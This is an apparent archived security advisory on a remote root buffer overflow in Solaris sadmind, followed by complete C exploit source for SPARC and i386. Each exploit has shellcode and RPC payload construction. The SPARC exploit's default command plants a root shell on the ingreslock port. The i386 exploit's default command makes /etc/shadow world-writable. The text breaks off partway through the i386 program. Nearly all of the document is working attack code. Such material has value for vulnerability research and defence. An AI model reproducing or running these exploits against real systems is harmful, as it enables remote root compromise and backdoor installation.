Vulnerability
sadmind
Affected
Solaris 2.x
Description
Alfred Huger posted following. Certain versions of Solaris ship
with a version of sadmind which is vulnerable to a remotely
exploitable buffer overflow attack. sadmind is the daemon used by
Solstice AdminSuite applications to perform distributed system
administration operations such as adding users. The sadmind
daemon is started automatically by the inetd daemon whenever a
request to invoke an operation is received.
Under vulnerable versions of sadmind (2.6 and 7.0 have been
tested), if a long buffer is passed to a NETMGT_PROC_SERVICE
request (called via clnt_call()), it is possible to overwrite the
stack pointer and execute arbitrary code. The actual buffer in
questions appears to hold the client's domain name. The overflow
in sadmind takes place in the amsl_verify() function. Because
sadmind runs as root any code launched as a result will run as
with root privileges, therefore resulting in a root compromise.
Below are the remote exploits for Solaris rpc.sadmind (SPARC amd
i386) and scanner to search vulnerable hosts:
/**
*** sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
***
*** Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
***
*** Usage: % sadmindex -h hostname -c command -s sp [-o offset] \
*** [-a alignment] [-p]
***
*** where hostname is the hostname of the machine running the vulnerable
*** system administration daemon, command is the command to run as root
*** on the vulnerable machine, sp is the %sp stack pointer value, offset
*** is the number of bytes to add to sp to calculate the desired return
*** address, and alignment is the number of bytes needed to correctly
*** align the contents of the exploit buffer.
***
*** If run with a -p option, the exploit will only "ping" sadmind on the
*** remote machine to start it running. The daemon will be otherwise
*** untouched. Since pinging the daemon does not require an exploit
*** buffer to be constructed, you can safely omit the -c and -s options
*** if you use -p.
***
*** When specifying a command, be sure to pass it to the exploit as a
*** single argument, namely enclose the command string in quotes if it
*** contains spaces or other special shell delimiter characters. The
*** exploit will pass this string without modification to /bin/sh -c on
*** the remote machine, so any normally allowed Bourne shell syntax is
*** also allowed in the command string. The command string and the
*** assembly code to run it must fit inside a buffer of 512 bytes, so
*** the command string has a maximum length of about 380 bytes or so.
***
*** Due to the nature of the target overflow in sadmind, the exploit is
*** extremely sensitive to the %sp stack pointer value that is provided
*** when the exploit is run. The %sp stack pointer must be specified
*** with the exact required value, leaving no room for error. I have
*** provided confirmed values for Solaris running on a Sun SPARCengine
*** Ultra AXi machine running Solaris 2.6 5/98 and on a SPARCstation 1
*** running Solaris 7.0 10/98. On each system, sadmind was started from
*** an instance of inetd that was started at boot time by init. There
*** is a strong possibility that the demonstration values will not work
*** due to differing sets of environment variables, for example if the
*** the running inetd on the remote machine was started manually from an
*** interactive shell. If you find that the sample value for %sp does
*** not work, try adjusting the value by -2048 to 2048 from the sample in
*** increments of 8 for starters. The offset parameter and the alignment
*** parameter have default values that will be used if no overriding
*** values are specified on the command line. The default values should
*** be suitable and it will not likely be necessary to override them.
***
*** Demonstration values for SPARC Solaris:
***
*** (2.6) sadmindex -h host.example.com -c "touch HEH" -s 0xefff9580
*** (7.0) sadmindex -h host.example.com -c "touch HEH" -s 0xefff9418
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** June 24, 1999
**/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1
#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"
#define ADM_FW_VERSION "ADM_FW_VERSION"
#define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
#define ADM_FENCE "ADM_FENCE"
#define BUFLEN 1076 /* 256+256+32+32+512-12 */
#define ADDRLEN 560 /* 256+256+32+32-4-12 */
#define FRAMELEN1 608
#define FRAMELEN2 4200
#define LEN 84
#define OFFSET 688 /* default offset */
#define ALIGNMENT 4 /* default alignment */
#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */
char shell[] =
/* 0 */ "\x20\xbf\xff\xff" /* bn,a ? */
/* skip: */
/* 4 */ "\x20\xbf\xff\xff" /* bn,a ? */
/* 8 */ "\x7f\xff\xff\xff" /* call skip */
/* execve: */
/* 12 */ "\x90\x03\xe0\x5c" /* add %o7,92,%o0 */
/* 16 */ "\x92\x22\x20\x10" /* sub %o0,16,%o1 */
/* 20 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 24 */ "\xec\x02\x3f\xf0" /* ld [%o0-16],%l6 */
/* 28 */ "\xac\x22\x80\x16" /* sub %o2,%l6,%l6 */
/* 32 */ "\xae\x02\x60\x10" /* add %o1,16,%l7 */
/* 36 */ "\xee\x22\x3f\xf0" /* st %l7,[%o0-16] */
/* 40 */ "\xae\x05\xe0\x08" /* add %l7,8,%l7 */
/* 44 */ "\xc0\x2d\xff\xff" /* stb %g0,[%l7-1] */
/* 48 */ "\xee\x22\x3f\xf4" /* st %l7,[%o0-12] */
/* 52 */ "\xae\x05\xe0\x03" /* add %l7,3,%l7 */
/* 56 */ "\xc0\x2d\xff\xff" /* stb %g0,[%l7-1] */
/* 60 */ "\xee\x22\x3f\xf8" /* st %l7,[%o0-8] */
/* 64 */ "\xae\x05\xc0\x16" /* add %l7,%l6,%l7 */
/* 68 */ "\xc0\x2d\xff\xff" /* stb %g0,[%l7-1] */
/* 72 */ "\xc0\x22\x3f\xfc" /* st %g0,[%o0-4] */
/* 76 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 80 */ "\x91\xd0\x20\x08" /* ta 8 */
/* data: */
/* 84 */ "\xff\xff\xff\xff" /* DATA */
/* 88 */ "\xff\xff\xff\xff" /* DATA */
/* 92 */ "\xff\xff\xff\xff" /* DATA */
/* 96 */ "\xff\xff\xff\xff" /* DATA */
/* 100 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 108 */ "\x2d\x63\xff"; /* DATA */
extern char *optarg;
struct nm_send_header {
struct timeval timeval1;
struct timeval timeval2;
struct timeval timeval3;
unsigned int uint1;
unsigned int uint2;
unsigned int uint3;
unsigned int uint4;
unsigned int uint5;
struct in_addr inaddr1;
struct in_addr inaddr2;
unsigned long ulong1;
unsigned long ulong2;
struct in_addr inaddr3;
unsigned long ulong3;
unsigned long ulong4;
unsigned long ulong5;
struct timeval timeval4;
unsigned int uint6;
struct timeval timeval5;
char *string1;
char *string2;
char *string3;
unsigned int uint7;
};
struct nm_send_arg_int {
char *string1;
unsigned int uint1;
unsigned int uint2;
int int1;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_arg_string {
char *string1;
unsigned int uint1;
unsigned int uint2;
char *string2;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_footer {
char *string1;
};
struct nm_send {
struct nm_send_header header;
struct nm_send_arg_int version;
struct nm_send_arg_string string;
struct nm_send_arg_int fence;
struct nm_send_footer footer;
};
struct nm_reply {
unsigned int uint1;
unsigned int uint2;
char *string1;
};
bool_t
xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
char *addr;
size_t size = sizeof(struct in_addr);
if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint5))
return (FALSE);
addr = (char *) &objp->inaddr1.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
addr = (char *) &objp->inaddr2.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong1))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong2))
return (FALSE);
addr = (char *) &objp->inaddr3.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong3))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong4))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong5))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint6))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint7))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_int(xdrs, &objp->int1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
if (!xdr_nm_send_header(xdrs, &objp->header))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->version))
return (FALSE);
if (!xdr_nm_send_arg_string(xdrs, &objp->string))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
return (FALSE);
if (!xdr_nm_send_footer(xdrs, &objp->footer))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
CLIENT *cl;
struct nm_send send;
struct nm_reply reply;
struct timeval tm;
enum clnt_stat stat;
int c, i, len, slen, clen;
char *program, *cp, buf[BUFLEN+1];
char *hostname, *command;
int offset, alignment, pinging = 0;
unsigned long int sp = 0, fp, addr;
program = argv[0];
hostname = "localhost";
command = "echo ingreslock stream tcp nowait root /bin/sh sh -i >> /tmp/bob; /usr/sbin/inetd -s /tmp/bob";
offset = OFFSET; alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:c:s:o:a:p")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'c':
command = optarg;
break;
case 's':
sp = strtoul(optarg, NULL, 0);
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
case 'p':
pinging = 1;
break;
default:
fprintf(stderr, "usage: %s -h hostname -c command -s sp "
"[-o offset] [-a alignment] [-p]\n", program);
exit(1);
break;
}
}
memset(buf, '\xff', BUFLEN);
fp = sp + FRAMELEN1 + FRAMELEN2; fp &= 0xfffffff8;
addr = sp + offset; addr &= 0xfffffffc;
for (i = 0, cp = buf + alignment; i < ADDRLEN / 8; i++) {
*cp++ = (fp >> 24) & 0xff;
*cp++ = (fp >> 16) & 0xff;
*cp++ = (fp >> 8) & 0xff;
*cp++ = (fp >> 0) & 0xff;
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
slen = strlen(shell); clen = strlen(command);
len = BUFLEN - 1 - clen - slen - ADDRLEN - alignment; len &= 0xfffffffc;
for (i = 0; i < len / 4; i++) {
*cp++ = (NOP >> 24) & 0xff;
*cp++ = (NOP >> 16) & 0xff;
*cp++ = (NOP >> 8) & 0xff;
*cp++ = (NOP >> 0) & 0xff;
}
len = clen; len++; len = -len;
shell[LEN+0] = (len >> 24) & 0xff;
shell[LEN+1] = (len >> 16) & 0xff;
shell[LEN+2] = (len >> 8) & 0xff;
shell[LEN+3] = (len >> 0) & 0xff;
memcpy(cp, shell, slen); cp += slen;
memcpy(cp, command, clen);
buf[BUFLEN] = '\0';
memset(&send, 0, sizeof(struct nm_send));
send.header.uint2 = NETMGT_HEADER_TYPE;
send.header.string1 = "";
send.header.string2 = "";
send.header.string3 = "";
send.header.uint7 =
strlen(ADM_FW_VERSION) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(ADM_CLIENT_DOMAIN) + 1 +
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
strlen(ADM_FENCE) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(NETMGT_ENDOFARGS) + 1;
send.version.string1 = ADM_FW_VERSION;
send.version.uint1 = NETMGT_ARG_INT;
send.version.uint2 = sizeof(int);
send.version.int1 = 1;
send.string.string1 = ADM_CLIENT_DOMAIN;
send.string.uint1 = NETMGT_ARG_STRING;
send.string.uint2 = strlen(buf);
send.string.string2 = buf;
send.fence.string1 = ADM_FENCE;
send.fence.uint1 = NETMGT_ARG_INT;
send.fence.uint2 = sizeof(int);
send.fence.int1 = 666;
send.footer.string1 = NETMGT_ENDOFARGS;
cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
if (cl == NULL) {
clnt_pcreateerror("clnt_create");
exit(1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
if (!pinging) {
fprintf(stdout,
"%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
sp, offset, addr, alignment);
fprintf(stdout,
"%%sp 0x%08lx with frame length %d --> %%fp 0x%08lx\n",
sp, FRAMELEN1 + FRAMELEN2, fp);
tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_SERVICE,
xdr_nm_send, (caddr_t) &send,
xdr_nm_reply, (caddr_t) &reply, tm);
if (stat != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
fprintf(stdout, "now check if exploit worked; "
"RPC failure was expected\n");
exit(0);
}
fprintf(stderr, "exploit failed; "
"RPC succeeded and returned { %u, %u, \"%s\" }\n",
reply.uint1, reply.uint2, reply.string1);
clnt_destroy(cl);
exit(1);
} else {
tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_PING,
xdr_void, NULL,
xdr_void, NULL, tm);
if (stat != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
clnt_destroy(cl);
exit(0);
}
}
------------
/**
*** sadmindex - i386 Solaris remote root exploit for /usr/sbin/sadmind
***
*** Tested and confirmed under Solaris 2.6 and 7.0 (i386)
***
*** Usage: % sadmindex -h hostname -c command -s sp -j junk [-o offset] \
*** [-a alignment] [-p]
***
*** where hostname is the hostname of the machine running the vulnerable
*** system administration daemon, command is the command to run as root
*** on the vulnerable machine, sp is the %esp stack pointer value, junk
*** is the number of bytes needed to fill the target stack frame (which
*** should be a multiple of 4), offset is the number of bytes to add to
*** sp to calculate the desired return address, and alignment is the
*** number of bytes needed to correctly align the contents of the exploit
*** buffer.
***
*** If run with a -p option, the exploit will only "ping" sadmind on the
*** remote machine to start it running. The daemon will be otherwise
*** untouched. Since pinging the daemon does not require an exploit
*** buffer to be constructed, you can safely omit the -c, -s, and -j
*** options if you use -p.
***
*** When specifying a command, be sure to pass it to the exploit as a
*** single argument, namely enclose the command string in quotes if it
*** contains spaces or other special shell delimiter characters. The
*** exploit will pass this string without modification to /bin/sh -c on
*** the remote machine, so any normally allowed Bourne shell syntax is
*** also allowed in the command string. The command string and the
*** assembly code to run it must fit inside a buffer of 512 bytes, so
*** the command string has a maximum length of about 390 bytes or so.
***
*** I have provided confirmed %esp stack pointer values for Solaris on a
*** Pentium PC system running Solaris 2.6 5/98 and on a Pentium PC system
*** running Solaris 7.0 10/98. On each system, sadmind was started from
*** an instance of inetd that was started at boot time by init. There
*** is a fair possibility that the demonstration values will not work
*** due to differing sets of environment variables, for example if the
*** the running inetd on the remote machine was started manually from an
*** interactive shell. If you find that the sample value for %esp does
*** not work, try adjusting the value by -2048 to 2048 from the sample in
*** increments of 32 for starters. The junk parameter seems to vary from
*** version to version, but the sample values should be appropriate for
*** the listed versions and are not likely to need adjustment. The offset
*** parameter and the alignment parameter have default values that will be
*** used if no overriding values are specified on the command line. The
*** default values should be suitable and it will not likely be necessary
*** to override them.
***
*** Demonstration values for i386 Solaris:
***
*** (2.6) sadmindex -h host.example.com -c "touch HEH" -s 0x080418ec -j 512
*** (7.0) sadmindex -h host.example.com -c "touch HEH" -s 0x08041798 -j 536
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** June 24, 1999
**/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1
#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"
#define ADM_FW_VERSION "ADM_FW_VERSION"
#define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
#define ADM_FENCE "ADM_FENCE"
#define BUFLEN 1056 /* 548+8+512-12 */
#define ADDRLEN 8
#define LEN 76
/* #define JUNK 512 */ /* 524-12 (Solaris 2.6) */
/* #define JUNK 536 */ /* 548-12 (Solaris 7.0) */
#define OFFSET 572 /* default offset */
#define ALIGNMENT 0 /* default alignment */
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x45" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */
/* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */
/* execve: */
/* 19 */ "\x31\xc0" /* xor %eax,%eax */
/* 21 */ "\x50" /* pushl %eax */
/* 22 */ "\x56" /* pushl %esi */
/* 23 */ "\x8b\x1e" /* movl (%esi),%ebx */
/* 25 */ "\xf7\xdb" /* negl %ebx */
/* 27 */ "\x89\xf7" /* movl %esi,%edi */
/* 29 */ "\x83\xc7\x10" /* addl $0x10,%edi */
/* 32 */ "\x57" /* pushl %edi */
/* 33 */ "\x89\x3e" /* movl %edi,(%esi) */
/* 35 */ "\x83\xc7\x08" /* addl $0x8,%edi */
/* 38 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 41 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */
/* 44 */ "\x83\xc7\x03" /* addl $0x3,%edi */
/* 47 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 50 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */
/* 53 */ "\x01\xdf" /* addl %ebx,%edi */
/* 55 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 58 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* 61 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */
/* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */
/* data: */
/* 76 */ "\xff\xff\xff\xff" /* DATA */
/* 80 */ "\xff\xff\xff\xff" /* DATA */
/* 84 */ "\xff\xff\xff\xff" /* DATA */
/* 88 */ "\xff\xff\xff\xff" /* DATA */
/* 92 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 100 */ "\x2d\x63\xff"; /* DATA */
extern char *optarg;
struct nm_send_header {
struct timeval timeval1;
struct timeval timeval2;
struct timeval timeval3;
unsigned int uint1;
unsigned int uint2;
unsigned int uint3;
unsigned int uint4;
unsigned int uint5;
struct in_addr inaddr1;
struct in_addr inaddr2;
unsigned long ulong1;
unsigned long ulong2;
struct in_addr inaddr3;
unsigned long ulong3;
unsigned long ulong4;
unsigned long ulong5;
struct timeval timeval4;
unsigned int uint6;
struct timeval timeval5;
char *string1;
char *string2;
char *string3;
unsigned int uint7;
};
struct nm_send_arg_int {
char *string1;
unsigned int uint1;
unsigned int uint2;
int int1;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_arg_string {
char *string1;
unsigned int uint1;
unsigned int uint2;
char *string2;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_footer {
char *string1;
};
struct nm_send {
struct nm_send_header header;
struct nm_send_arg_int version;
struct nm_send_arg_string string;
struct nm_send_arg_int fence;
struct nm_send_footer footer;
};
struct nm_reply {
unsigned int uint1;
unsigned int uint2;
char *string1;
};
bool_t
xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
char *addr;
size_t size = sizeof(struct in_addr);
if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint5))
return (FALSE);
addr = (char *) &objp->inaddr1.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
addr = (char *) &objp->inaddr2.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong1))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong2))
return (FALSE);
addr = (char *) &objp->inaddr3.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong3))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong4))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong5))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint6))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint7))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_int(xdrs, &objp->int1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
if (!xdr_nm_send_header(xdrs, &objp->header))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->version))
return (FALSE);
if (!xdr_nm_send_arg_string(xdrs, &objp->string))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
return (FALSE);
if (!xdr_nm_send_footer(xdrs, &objp->footer))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
CLIENT *cl;
struct nm_send send;
struct nm_reply reply;
struct timeval tm;
enum clnt_stat stat;
int c, i, len, slen, clen;
char *program, *cp, buf[BUFLEN+1];
char *hostname, *command;
int junk = 0, offset, alignment, pinging = 0;
unsigned long int sp = 0, addr;
program = argv[0];
hostname = "localhost";
command = "chmod 666 /etc/shadow";
offset = OFFSET; alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:c:s:j:o:a:p")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'c':
command = optarg;
break;
case 's':
sp = strtoul(optarg, NULL, 0);
break;
case 'j':
junk = (int) strtol(optarg, NULL, 0);
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
case 'p':
pinging = 1;
break;
default:
fprintf(stderr, "usage: %s -h hostname -c command -s sp -j junk "
"[-o offset] [-a alignment] [-p]\n", program);
exit(1);
break;
}
}
memset(buf, NOP, BUFLEN);
junk &= 0xfffffffc;
for (i = 0, cp = buf + alignment; i < junk / 4; i++) {
*cp++ = (sp >> 0) & 0xff;
*cp++ = (sp >> 8) & 0xff;
*cp++ = (sp >> 16) & 0xff;
*cp++ = (sp >> 24) & 0xff;
}
addr = sp + offset;
for (i = 0; i < ADDRLEN / 4; i++) {
*cp++ = (addr >> 0) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 24) & 0xff;
}
slen = strlen(shell); clen = strlen(command);
len = clen; len++; len = -len;
shell[LEN+0] = (len >> 0) & 0xff;
shell[LEN+1] = (len >> 8) & 0xff;
shell[LEN+2] = (len >> 16) & 0xff;
shell[LEN+3] = (len >> 24) & 0xff;
cp = buf + BUFLEN - 1 - clen - slen;
memcpy(cp, shell, slen); cp += slen;
memcpy(cp, command, clen); cp += clen;
*cp = '\xff';
buf[BUFLEN] = '\0';
memset(&send, 0, sizeof(struct nm_send));
send.header.uint2 = NETMGT_HEADER_TYPE;
send.header.string1 = "";
send.header.string2 = "";
send.header.string3 = "";
send.header.uint7 =
strlen(ADM_FW_VERSION) + 1 +
